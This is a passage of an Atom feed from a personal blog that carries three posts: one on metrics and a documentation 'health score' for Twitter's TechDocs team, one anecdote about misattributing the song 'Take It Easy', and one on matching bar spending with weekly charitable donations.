		<content type="html">&lt;p&gt;In companies that have large engineering teams, a dedicated technical documentation organization is a necessary function. Our industry&#39;s understanding of the role of documentation, both as engineers and technical writers, has shifted its focus over the last decade.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Most notably, the way that TechDocs teams do their work has changed. Traditional technical writing, evaluated by “words on a page” (accuracy, length) has been replaced by a data-driven approach to content oversight and training. We now employ scalable automated tooling to work smarter, measure the effectiveness of our work, and to prove that we&#39;ve had the impact we set out to achieve.&lt;/p&gt;&#xA;&lt;p&gt;Some of the new measures of TechDocs effectiveness are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How many support requests are filed?&lt;/li&gt;&#xA;&lt;li&gt;How often are docs pages visited and updated?&lt;/li&gt;&#xA;&lt;li&gt;What is the code comment coverage?&lt;/li&gt;&#xA;&lt;li&gt;What is the reader sentiment of the docs?&lt;/li&gt;&#xA;&lt;li&gt;How long do readers spend on the page?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;techdocs-a-mission-statement&#34;&gt;TechDocs: A Mission Statement&lt;/h2&gt;&#xA;&lt;p&gt;At Twitter, the TechDocs team has the following mission statement:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;The right knowledge at the right time. Great docs enable engineers to do a lot more in a lot less time. The TechDocs team exists to foster the culture of documentation.&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Our goal through writing is deliver &lt;strong&gt;the right knowledge, at the right time&lt;/strong&gt;, so that engineers can be more effective. We are also the champions of documentation in our company&#39;s engineering culture; ensuring that engineers care about docs, writing and maintaining their docs at a high level of quality.&lt;/p&gt;&#xA;&lt;p&gt;Our role as owners and authors is also changing. For technical communicators, the need to author documents that require professional oversight still commands an important role in our work (especially outward-facing docs); however, the majority of our time is focused on empowering the subject matter experts (aka SMEs, software engineers in this case) to record their knowledge themselves. In this way, we can &lt;strong&gt;scale out the responsibilities of documentation authorship&lt;/strong&gt; and maintenance to our engineers, and instead focus our effort on providing editorial assistance, expert level guidance and direction setting.&lt;/p&gt;&#xA;&lt;h2 id=&#34;four-factors-for-techdocs-organizations&#34;&gt;Four Factors for TechDocs Organizations&lt;/h2&gt;&#xA;&lt;p&gt;We can break down this approach into four functional areas of work:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;#Discovery&lt;/strong&gt; - Deliver the right knowledge at the right time&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;#Consistency&lt;/strong&gt; - Documentation you can trust and consume easily&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;#Culture&lt;/strong&gt; - Engineers highly value creating and maintaining their own documentation&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;#WriteTheDocs&lt;/strong&gt; - Technical Communicators own and create high-impact content&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;discovery&#34;&gt;#Discovery&lt;/h3&gt;&#xA;&lt;p&gt;The best documentation in the world is useless if it can&#39;t be found when it&#39;s needed. Many companies have documentation spread around in a number of separate silos. Even when it&#39;s all in one place, like a wiki, the content is usually poorly structured, making it hard to navigate and find content.&lt;/p&gt;&#xA;&lt;p&gt;Tooling like &lt;a href=&#34;https://readthedocs.com/&#34;&gt;Read The Docs&lt;/a&gt; can solve part of this problem by providing a single destination to consume, search and catalog content, but skilled technical communicators are required to build effective information architecture for end-user navigation.&lt;/p&gt;&#xA;&lt;h3 id=&#34;consistency&#34;&gt;#Consistency&lt;/h3&gt;&#xA;&lt;p&gt;As writers, we spend a lot of time thinking about things like voice, reading level and using unambiguous terminology to ensure that readers consume the information accurately and easily. This kind of consistency is important, but also larger-level concerns like document templates, titling guidelines, company glossaries, and tooling to support such standards, help both readers and authors to smooth the entire process.&lt;/p&gt;&#xA;&lt;p&gt;For example, as a reader, when I go to a new doc titled &amp;quot;Tutorial&amp;quot; I should know what to expect from that. It should be similar in structure and intent to everything else called &amp;quot;Tutorial&amp;quot;. If some docs are called &amp;quot;Runbooks&amp;quot; and some are &amp;quot;Tutorials&amp;quot;, are they different? If so, the &lt;strong&gt;differences should be obvious and consistent within the documentation corpus&lt;/strong&gt;. As a content author, when I&#39;m making a new document, it should be clear whether I want to write a &amp;quot;Tutorial&amp;quot; or a &amp;quot;Runbook&amp;quot;, and there should be separate templates for each that I can use, which provide the basic structure that defines that type of document.&lt;/p&gt;&#xA;&lt;p&gt;Further, &lt;strong&gt;term usage should be consistent&lt;/strong&gt;. When there are domain specific terms, or terms that are ambiguous in their general usage, but have an unambiguous domain-specific meaning, those terms should be well defined in a glossary. That glossary should be available to both readers and authors to ensure a common understanding of the intended meaning.&lt;/p&gt;&#xA;&lt;p&gt;Every company should publish internal standards for their tech docs, and provide tools to help authors create that content using templates. Beyond that, TechDocs tooling should provide verification (linters, or other testing systems) to ensure that the published standards are adhered to. For that reason, it&#39;s best to &lt;strong&gt;choose standards which can be measured&lt;/strong&gt;, or clearly indicate when something requires human oversight to verify.&lt;/p&gt;&#xA;&lt;h3 id=&#34;culture&#34;&gt;#Culture&lt;/h3&gt;&#xA;&lt;p&gt;At Twitter, we have only four (4) full-time technical writers on our internal-facing TechDocs team, but we have a staff of nearly 2000 engineers working on roughly 4000 separate software projects. Since there is no way four writers could cover all that work, it&#39;s essential to leverage the massive resource of our engineering staff to write their own documentation.&lt;/p&gt;&#xA;&lt;p&gt;To enable this, we have to ensure that &lt;strong&gt;authoring documentation is a delightful experience&lt;/strong&gt;. We can create tools and other materials that are self-serve and fit into an engineer&#39;s normal daily workflow well. We need engineers to not only feel that writing docs is their responsibility, but also to feel motivated to keep the quality of their docs high, and regularly maintain them.&lt;/p&gt;&#xA;&lt;p&gt;Our engineers should &lt;strong&gt;feel a sense of ownership&lt;/strong&gt; of their documentation, and also the tools they use. For that reason, tying docs into your code review and issue tracker helps to keep docs on engineer&#39;s minds, and opening up your internal tooling for contributions from engineers motivates them to care about the tool.&lt;/p&gt;&#xA;&lt;h3 id=&#34;writethedocs&#34;&gt;#WriteTheDocs&lt;/h3&gt;&#xA;&lt;p&gt;Certain documentation is so critical to the success of the company that TechDocs must own the content, and ensure it is written at a high level of quality and regularly maintained.&lt;/p&gt;&#xA;&lt;p&gt;Other docs require only guidance from the TechDocs team in terms of information architecture, outlining, and style. For those projects, the engineering team can author the content, working from an outline and list of tasks that TechDocs provides them on a regular basis.&lt;/p&gt;&#xA;&lt;p&gt;TechDocs should &lt;strong&gt;operate like an internal agency&lt;/strong&gt;, fielding requests and triaging them into three categories: &amp;quot;docs we own&amp;quot;, &amp;quot;docs they own but we assist with&amp;quot;, &amp;quot;docs they own and we don&#39;t assist with&amp;quot;. Instead of a tech writer being embedded on a single project, they can work from a queue of open items from all projects, sharing the workload evenly.&lt;/p&gt;&#xA;&lt;h2 id=&#34;measuring-techdocs&#34;&gt;Measuring TechDocs&lt;/h2&gt;&#xA;&lt;p&gt;Contemporary TechDocs teams need to be able to measure their impact to ensure they are doing the right things to improve documentation at their company. &lt;strong&gt;Without metrics, it&#39;s all guess work&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now that we&#39;ve established the mission of TechDocs and discussed the various factors of our work, some questions come up when we try to prove that we&#39;re succeeding in this mission:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do you know that your documentation is healthy?&lt;/li&gt;&#xA;&lt;li&gt;How do you know that your documentation is having a positive impact?&lt;/li&gt;&#xA;&lt;li&gt;What areas are you impacting? Who is benefiting?&lt;/li&gt;&#xA;&lt;li&gt;How to keep up with maintenance?&lt;/li&gt;&#xA;&lt;li&gt;How do you know if things are NOT going well?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Does your current tooling answer these questions? No, it doesn&#39;t. That means building the tools to measure, then building the dashboards, monitoring, alerting, and reporting that uses those measurements. &lt;strong&gt;We need better tooling&lt;/strong&gt;, and we should probably share the effort by building it in the open.&lt;/p&gt;&#xA;&lt;h2 id=&#34;things-we-can-measure&#34;&gt;Things We Can Measure&lt;/h2&gt;&#xA;&lt;p&gt;While the value of metrics is obvious, what is not so obvious is what kind of things we can accurately measure about documentation and documentation culture.&lt;/p&gt;&#xA;&lt;p&gt;Here are some ideas:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Doc Linter&lt;/strong&gt; - Measure some basic features about a document to determine its quality, objectively (reading level/lexical density, reading time, doc contains contact email?, code snippets valid?, etc)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Total Doc Commits&lt;/strong&gt; -  Overall, how many commits to doc files? High level of activity? What projects/topics?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Drift&lt;/strong&gt; - Measure the commit density distance between a piece of code and it&#39;s related docs. Commit density on code vs commit density on docs in past 30 days? (Note: &lt;em&gt;density&lt;/em&gt; is # of adds/removes in total vs # of changesets) Did the code move forward, but the docs didn&#39;t? That&#39;s called &#39;&lt;em&gt;drift&lt;/em&gt;&#39; and it&#39;s bad news!&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Traffic&lt;/strong&gt; - How many people are reading the docs? Who are they? How long are they spending on the page?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Reader Sentiment&lt;/strong&gt; -  Five star rating on page, NPS survey, etc. Are readers happy with the docs?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Support Tickets&lt;/strong&gt; - What questions are people asking about? What doc pages answer that? Top ten. Did a new doc on a topic reduce inbound support tickets on that topic?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Shoulder Taps&lt;/strong&gt; - Parse Hipchat/Campfire/Slack logs, look for 1:1 communication between engineers. Convos that start with &amp;quot;quick question&amp;quot;, or just start with a question and don&#39;t mention lunch. How many? Use NLP to categorize topics/nouns. What topics are generating shoulder taps? How to track real-life shoulder taps?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Docs Tickets&lt;/strong&gt; - How many JIRA/GitHub Issues are filed related to documentation (either doc bugs, or doc improvement tasks for owners, etc). Increasing or decreasing over time? Shows improvement in docs culture?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;documentation-health&#34;&gt;Documentation Health&lt;/h3&gt;&#xA;&lt;p&gt;All those measurements are useful by themselves but that might be too many things for people to think about. After all, one of the big &lt;strong&gt;#culture&lt;/strong&gt; problems around docs is that they are currently viewed as a &amp;quot;secondary concern&amp;quot; to the code. Any complexity around a &amp;quot;secondary concern&amp;quot; will cause folks to stop thinking about it.&lt;/p&gt;&#xA;&lt;p&gt;To keep things simple, we can &lt;strong&gt;aggregate the metric signals into a single measure&lt;/strong&gt;... your documentation &lt;strong&gt;&amp;quot;Health Score&amp;quot;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is a number between 0 and 10, telling you how healthy your docs are. Each of the above signals can be implemented to provide a unit interval (a value between 0 and 1) which can be composited into a normed vector space, with a rank applied to each signal to influence the final score. You can tweak your algorithm to emphasize the signals your organization cares about.&lt;/p&gt;&#xA;&lt;p&gt;This score could be displayed on the project homepage, so engineers who are project owners can see a clear indicator of how they are doing. You can provide those engineers with tools to iteratively improve this number. The score can be clickable, to see a detailed report of what is wrong. Your documentation build system can regularly email reports to project owners with stats about their project, to let them know how they are doing. When they are doing well, you can reward them with perks like shoutouts to their managers, or swag like stickers, shirts, or other material items.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;&#xA;&lt;p&gt;Contemporary TechDocs, in businesses that produce software products, is no longer as simple as hiring tech writers. You can&#39;t just park more tech writers in chairs and tell them to crank away at writing docs, adding more warm bodies as the workload increases. &lt;strong&gt;Brute force doesn&#39;t work.&lt;/strong&gt; It doesn&#39;t scale. As Martin Sustrik &lt;a href=&#34;http://250bpm.com/blog:58&#34;&gt;recently pointed out&lt;/a&gt;, we have to operate under new principles, which support a more scalable and modern approach.&lt;/p&gt;&#xA;&lt;p&gt;A snow shovel works well to clear a driveway, but you&#39;ll need a more sophisticated approach to keep the roads safe and clear for an entire city.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;NOTE: Significant portions of this blog post are taken nearly-verbatim, or lightly paraphrased from Twitter&#39;s TechDocs team documents which were a collaborative effort. Other pieces are directly ripped from conversations I&#39;ve had with various &lt;a href=&#34;https://twitter.com/writethedocs&#34;&gt;Write The Docs&lt;/a&gt; community members. Specifically, co-authorship credits should go to my team at Twitter (&lt;a href=&#34;http://twitter.com/markog&#34;&gt;Marko Gargenta&lt;/a&gt;, &lt;a href=&#34;https://twitter.com/ngroschwitz&#34;&gt;Nancy Groschwitz&lt;/a&gt;, &lt;a href=&#34;https://twitter.com/ricardoc&#34;&gt;Ricardo Cervera&lt;/a&gt;, &lt;a href=&#34;https://twitter.com/lucperkins&#34;&gt;Luc Perkins&lt;/a&gt;) as well as WTD community members &lt;a href=&#34;https://twitter.com/nikblanchet&#34;&gt;Nik Blanchet&lt;/a&gt; and &lt;a href=&#34;https://twitter.com/gjtorikian&#34;&gt;Garen Torikian&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Take It Easy</title>
		<id>https://blog.thoward37.me/articles/take-it-easy</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/take-it-easy" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/take-it-easy" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/take-it-easy" type="text/html"></link>
		<published>2014-09-09T00:00:00+00:00</published>
		<updated>2014-09-09T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;I have a personal confession to make. For many years, I claimed that the famed [Eagles](&lt;a href=&#34;http://en.wikipedia.org/wiki/Eagles_(band)&#34;&gt;http://en.wikipedia.org/wiki/Eagles_(band)&lt;/a&gt; song, &amp;quot;&lt;a href=&#34;http://en.wikipedia.org/wiki/Take_It_Easy&#34;&gt;Take it Easy&lt;/a&gt;&amp;quot; was actually a song by &lt;a href=&#34;http://en.wikipedia.org/wiki/Lynyrd_Skynyrd&#34;&gt;Lynyrd Skynyrd&lt;/a&gt;. I was quite sure of it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;I had argued the point many times throughout my teenage and young adult years, pointing out the many similarities to other &lt;em&gt;Lynyrd Skynyrd&lt;/em&gt; songs such as &amp;quot;&lt;a href=&#34;http://en.wikipedia.org/wiki/Sweet_Home_Alabama&#34;&gt;Sweet Home Alabama&lt;/a&gt;&amp;quot; and &amp;quot;&lt;a href=&#34;http://en.wikipedia.org/wiki/Free_Bird&#34;&gt;Freebird&lt;/a&gt;&amp;quot;. Listen to the meter, the tonality of the drums. The way the bass accented the beat. Clearly these were all the product of the same mind (or group of minds). Who could mistake the sound of Van Zant&#39;s voice?&lt;/p&gt;&#xA;&lt;p&gt;I was often able to convince people of this, or at least cast doubt into their minds, or exhaust the topic until they were no longer interested. I knew they&#39;d go home, look it up in their personal music collection and realize I was correct. I didn&#39;t personally own a copy of the song, however. I&#39;d only ever heard it on the radio.&lt;/p&gt;&#xA;&lt;p&gt;Finally, later in life, during the age of portable pocket-sized internet connected computing devices, I once again started in on this argument with a friend (I think it was a drummer in one of my bands). He laughed, like many people did, at first. Then after he realized I was serious, he stopped me and said, &amp;quot;No. Dude, it&#39;s the Eagles. Really...&amp;quot; and proceeded to Google-prove me wrong. I was stymied, questioning my facts, recalling all those previous conversations, wondering if I could really have had it wrong all this time? We finished up band practice, but I was put off-kilter for the rest of the night after that, unease having settled into my heart. I drank a bit too much beer.&lt;/p&gt;&#xA;&lt;p&gt;Later that evening, at home and in a post-band practice &lt;a href=&#34;http://en.wikipedia.org/wiki/Olympia_Brewing_Company&#34;&gt;Olympia&lt;/a&gt;-induced drunken stupor (or was it &lt;a href=&#34;http://en.wikipedia.org/wiki/Miller_Brewing_Company#Current_brands&#34;&gt;Miller High Life&lt;/a&gt;? Can&#39;t be sure...), I researched the topic online. In fury, I dug and dug for some proof that Lynyrd Skynyrd had, in fact, written the song. Perhaps it was just recorded and popularized by the Eagles, or perhaps the opposite: written by the Eagles and performed/recorded by Lynyrd Skynyrd? Nope. Nada. No connection whatsoever.&lt;/p&gt;&#xA;&lt;p&gt;Turns out, there was one interesting thing about the song. Perhaps it was the thing that stuck out to me. I really did notice the song was quite different from the rest of The Eagle&#39;s repertoire. Specifically, the vocals.&lt;/p&gt;&#xA;&lt;p&gt;Well, there&#39;s a reason for that. The famous Eagles song was co-written, and sung by &lt;a href=&#34;http://en.wikipedia.org/wiki/Jackson_Browne&#34;&gt;Jackson Browne&lt;/a&gt;, not &lt;a href=&#34;http://en.wikipedia.org/wiki/Glenn_Frey&#34;&gt;Glenn Frey&lt;/a&gt;. So, sure, it doesn&#39;t make it a Lynyrd Skynyrd song, but it &lt;em&gt;is&lt;/em&gt; a rather aberrant Eagles song.&lt;/p&gt;&#xA;&lt;p&gt;It&#39;s one of the very few songs, that if I am ever forced to sing at karaoke, where I know all the words and can kind of sing it in tune.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Moral of the story: Sometimes you can be really, really wrong about something, but still feel absolutely sure you are right.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;In fact that feeling of surety can linger for quite some time, and cause you to search for some rationale or other evidence to attempt to prove your original idea. Being wrong is hard, even when the facts are really clear. However, being wrong CAN lead to some unexpected-but-useful life skills... like obsessing so much over a song that you know all the words at karaoke.&lt;/p&gt;&#xA;&lt;iframe width=&#34;640&#34; height=&#34;480&#34; src=&#34;//www.youtube.com/embed/FMA3lIeqV8M&#34; frameborder=&#34;0&#34; allowfullscreen&gt;&lt;/iframe&gt;</summary>
		<content type="html">&lt;p&gt;I have a personal confession to make. For many years, I claimed that the famed [Eagles](&lt;a href=&#34;http://en.wikipedia.org/wiki/Eagles_(band)&#34;&gt;http://en.wikipedia.org/wiki/Eagles_(band)&lt;/a&gt; song, &amp;quot;&lt;a href=&#34;http://en.wikipedia.org/wiki/Take_It_Easy&#34;&gt;Take it Easy&lt;/a&gt;&amp;quot; was actually a song by &lt;a href=&#34;http://en.wikipedia.org/wiki/Lynyrd_Skynyrd&#34;&gt;Lynyrd Skynyrd&lt;/a&gt;. I was quite sure of it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;I had argued the point many times throughout my teenage and young adult years, pointing out the many similarities to other &lt;em&gt;Lynyrd Skynyrd&lt;/em&gt; songs such as &amp;quot;&lt;a href=&#34;http://en.wikipedia.org/wiki/Sweet_Home_Alabama&#34;&gt;Sweet Home Alabama&lt;/a&gt;&amp;quot; and &amp;quot;&lt;a href=&#34;http://en.wikipedia.org/wiki/Free_Bird&#34;&gt;Freebird&lt;/a&gt;&amp;quot;. Listen to the meter, the tonality of the drums. The way the bass accented the beat. Clearly these were all the product of the same mind (or group of minds). Who could mistake the sound of Van Zant&#39;s voice?&lt;/p&gt;&#xA;&lt;p&gt;I was often able to convince people of this, or at least cast doubt into their minds, or exhaust the topic until they were no longer interested. I knew they&#39;d go home, look it up in their personal music collection and realize I was correct. I didn&#39;t personally own a copy of the song, however. I&#39;d only ever heard it on the radio.&lt;/p&gt;&#xA;&lt;p&gt;Finally, later in life, during the age of portable pocket-sized internet connected computing devices, I once again started in on this argument with a friend (I think it was a drummer in one of my bands). He laughed, like many people did, at first. Then after he realized I was serious, he stopped me and said, &amp;quot;No. Dude, it&#39;s the Eagles. Really...&amp;quot; and proceeded to Google-prove me wrong. I was stymied, questioning my facts, recalling all those previous conversations, wondering if I could really have had it wrong all this time? We finished up band practice, but I was put off-kilter for the rest of the night after that, unease having settled into my heart. I drank a bit too much beer.&lt;/p&gt;&#xA;&lt;p&gt;Later that evening, at home and in a post-band practice &lt;a href=&#34;http://en.wikipedia.org/wiki/Olympia_Brewing_Company&#34;&gt;Olympia&lt;/a&gt;-induced drunken stupor (or was it &lt;a href=&#34;http://en.wikipedia.org/wiki/Miller_Brewing_Company#Current_brands&#34;&gt;Miller High Life&lt;/a&gt;? Can&#39;t be sure...), I researched the topic online. In fury, I dug and dug for some proof that Lynyrd Skynyrd had, in fact, written the song. Perhaps it was just recorded and popularized by the Eagles, or perhaps the opposite: written by the Eagles and performed/recorded by Lynyrd Skynyrd? Nope. Nada. No connection whatsoever.&lt;/p&gt;&#xA;&lt;p&gt;Turns out, there was one interesting thing about the song. Perhaps it was the thing that stuck out to me. I really did notice the song was quite different from the rest of The Eagle&#39;s repertoire. Specifically, the vocals.&lt;/p&gt;&#xA;&lt;p&gt;Well, there&#39;s a reason for that. The famous Eagles song was co-written, and sung by &lt;a href=&#34;http://en.wikipedia.org/wiki/Jackson_Browne&#34;&gt;Jackson Browne&lt;/a&gt;, not &lt;a href=&#34;http://en.wikipedia.org/wiki/Glenn_Frey&#34;&gt;Glenn Frey&lt;/a&gt;. So, sure, it doesn&#39;t make it a Lynyrd Skynyrd song, but it &lt;em&gt;is&lt;/em&gt; a rather aberrant Eagles song.&lt;/p&gt;&#xA;&lt;p&gt;It&#39;s one of the very few songs, that if I am ever forced to sing at karaoke, where I know all the words and can kind of sing it in tune.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Moral of the story: Sometimes you can be really, really wrong about something, but still feel absolutely sure you are right.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;In fact that feeling of surety can linger for quite some time, and cause you to search for some rationale or other evidence to attempt to prove your original idea. Being wrong is hard, even when the facts are really clear. However, being wrong CAN lead to some unexpected-but-useful life skills... like obsessing so much over a song that you know all the words at karaoke.&lt;/p&gt;&#xA;&lt;iframe width=&#34;640&#34; height=&#34;480&#34; src=&#34;//www.youtube.com/embed/FMA3lIeqV8M&#34; frameborder=&#34;0&#34; allowfullscreen&gt;&lt;/iframe&gt;</content>
	</entry>
	<entry>
		<title>#FridayDonation</title>
		<id>https://blog.thoward37.me/articles/fridaydonation</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/fridaydonation" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/fridaydonation" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/fridaydonation" type="text/html"></link>
		<published>2014-06-06T00:00:00+00:00</published>
		<updated>2014-06-06T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;&lt;strong&gt;I used to spend a lot on booze.&lt;/strong&gt; Now I spend a lot supporting grass-roots activism. You can too.&lt;/p&gt;&#xA;&lt;p&gt;For &lt;a href=&#34;https://twitter.com/search?f=realtime&amp;amp;q=%23fridaydonation&amp;amp;src=typd&#34;&gt;&lt;a href=&#34;/tags/fridaydonation/&#34; data-hyper-mention&gt;#FridayDonation&lt;/a&gt;&lt;/a&gt;, &lt;strong&gt;give as much to your local cause as you do your local bar.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;alcohol-and-activism&#34;&gt;Alcohol and Activism&lt;/h2&gt;&#xA;&lt;p&gt;This story starts on a sad note; &lt;strong&gt;a falling from grace&lt;/strong&gt;. In my teens and twenties, I did a lot of political activism. Much of it was local, with me spending my time and direct personal effort to do things like feed the homeless, organize protests, community-improvement projects in the ghetto, awareness efforts, etc.&lt;/p&gt;&#xA;&lt;p&gt;At that time, I was living in St. Louis, and was making the least money I&#39;ve ever made. I couldn&#39;t have afforded to donate to charities. I was barely keeping myself afloat financially. Instead I gave my time and effort. This work culminated with me moving to China for a long-term humanitarian mission there. That part was &lt;em&gt;awesome&lt;/em&gt;!&lt;/p&gt;&#xA;&lt;p&gt;However, in 2005 I had to leave China and return to the US due to a family emergency. &lt;strong&gt;I started working full-time in technology, rapidly advancing my career, focusing entirely on work.&lt;/strong&gt; I stopped being an activist completely. I smoked a lot, drank a lot, ate and slept poorly, and gained a ton of weight. I went from 180lbs to 260lbs in a few years time. I was making the most money I&#39;d ever made, but spending a lot of it on booze.&lt;/p&gt;&#xA;&lt;p&gt;I&#39;d go to the bar, and &lt;strong&gt;drop $50-100 in a night&lt;/strong&gt;, almost every night. Sometimes I&#39;d be over the line and wake up at home not knowing how I got there, vomiting and hungover, missing meetings at work, deadlines all slipping, a &lt;strong&gt;trail of embarrassments and disappointments strewn behind me&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Since then, I&#39;ve stopped smoking, reduced my drinking a lot, focused on my health. It&#39;s working; &lt;strong&gt;I&#39;m getting a lot healthier&lt;/strong&gt;. I&#39;m still heavier than I should be at 230lbs and get winded easily doing things that I used to do without any effort at all.&lt;/p&gt;&#xA;&lt;p&gt;I still go out drinking sometimes, and when I do, it&#39;s really hard to stop myself from over-doing it and drinking too much. But I&#39;m making a lot of progress, and hopefully will reach my lofty personal goals within a year or two.&lt;/p&gt;&#xA;&lt;h2 id=&#34;donations-as-inactive-activism&#34;&gt;Donations as Inactive Activism&lt;/h2&gt;&#xA;&lt;p&gt;Despite improving my personal health, one thing that has been bugging me is that &lt;strong&gt;I do very little activism&lt;/strong&gt;. I haven&#39;t been able to get myself motivated to go out and be hands-on anymore. I strongly feel that &lt;strong&gt;direct volunteering and hands-on work is the best approach&lt;/strong&gt;, but haven&#39;t been able to get back into actually doing it. Maybe I did too much when I was younger, and now I&#39;m burnt out. I&#39;m not sure.&lt;/p&gt;&#xA;&lt;p&gt;However, I make more money now than I ever have. It&#39;s a strange realization that I now have more money than time, considering how poor my family was growing up. Also, I realize that since I&#39;ve reduced my drinking a lot, &lt;strong&gt;I can reclaim that money and use it for something better:&lt;/strong&gt; donating to activists working on causes that I support.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Not everyone can volunteer, but many people can donate.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, every Friday, before going out to a bar or restaurant, I spend $50-100 on causes that I care about. Then I make sure I don&#39;t spend more than that when I&#39;m out.&lt;/p&gt;&#xA;&lt;p&gt;It&#39;s my allowance/party budget. I &lt;em&gt;feel&lt;/em&gt; a lot better about my spending when I know I&#39;m matching it with donations. It makes drinking and eating at restaurants a much more positive and guilt-free experience. That bit is by far, the least important part of what I&#39;m doing, but it&#39;s a nice perk.&lt;/p&gt;&#xA;&lt;h2 id=&#34;sharing-is-caring&#34;&gt;Sharing is Caring&lt;/h2&gt;&#xA;&lt;p&gt;Starting today (June 6, 2014), and every Friday from now on, I&#39;ll tweet out about the things I funded that week with the &lt;a href=&#34;https://twitter.com/search?f=realtime&amp;amp;q=%23fridaydonation&amp;amp;src=typd&#34;&gt;&lt;a href=&#34;/tags/fridaydonation/&#34; data-hyper-mention&gt;#FridayDonation&lt;/a&gt;&lt;/a&gt; hashtag.&lt;/p&gt;&#xA;&lt;p&gt;If you &lt;a href=&#34;https://twitter.com/thoward37&#34;&gt;follow me on Twitter&lt;/a&gt; you can &lt;strong&gt;keep me accountable&lt;/strong&gt; and encourage me to keep doing this with a favorite or a quick &amp;quot;nice job&amp;quot; reply. If you want to you can donate to the same things I do, or pick your own and tweet about it. I promise to deliver &lt;strong&gt;tons of virtual high-fives&lt;/strong&gt; if you do!&lt;/p&gt;&#xA;&lt;p&gt;Also, turns out &lt;strong&gt;I&#39;m not the only one&lt;/strong&gt; with this idea. When I decided on the &lt;a href=&#34;https://twitter.com/search?f=realtime&amp;amp;q=%23fridaydonation&amp;amp;src=typd&#34;&gt;&lt;a href=&#34;/tags/fridaydonation/&#34; data-hyper-mention&gt;#FridayDonation&lt;/a&gt;&lt;/a&gt; hashtag, I found that &lt;a href=&#34;http://twitter.com/dellapina&#34;&gt;Jennifer Dellapina&lt;/a&gt; has been doing exactly the same thing since at least January of this year. Awesome! &lt;strong&gt;High-fives Jennifer!&lt;/strong&gt; Hopefully we can build a chorus of voices donating to improve the world.&lt;/p&gt;&#xA;</summary>
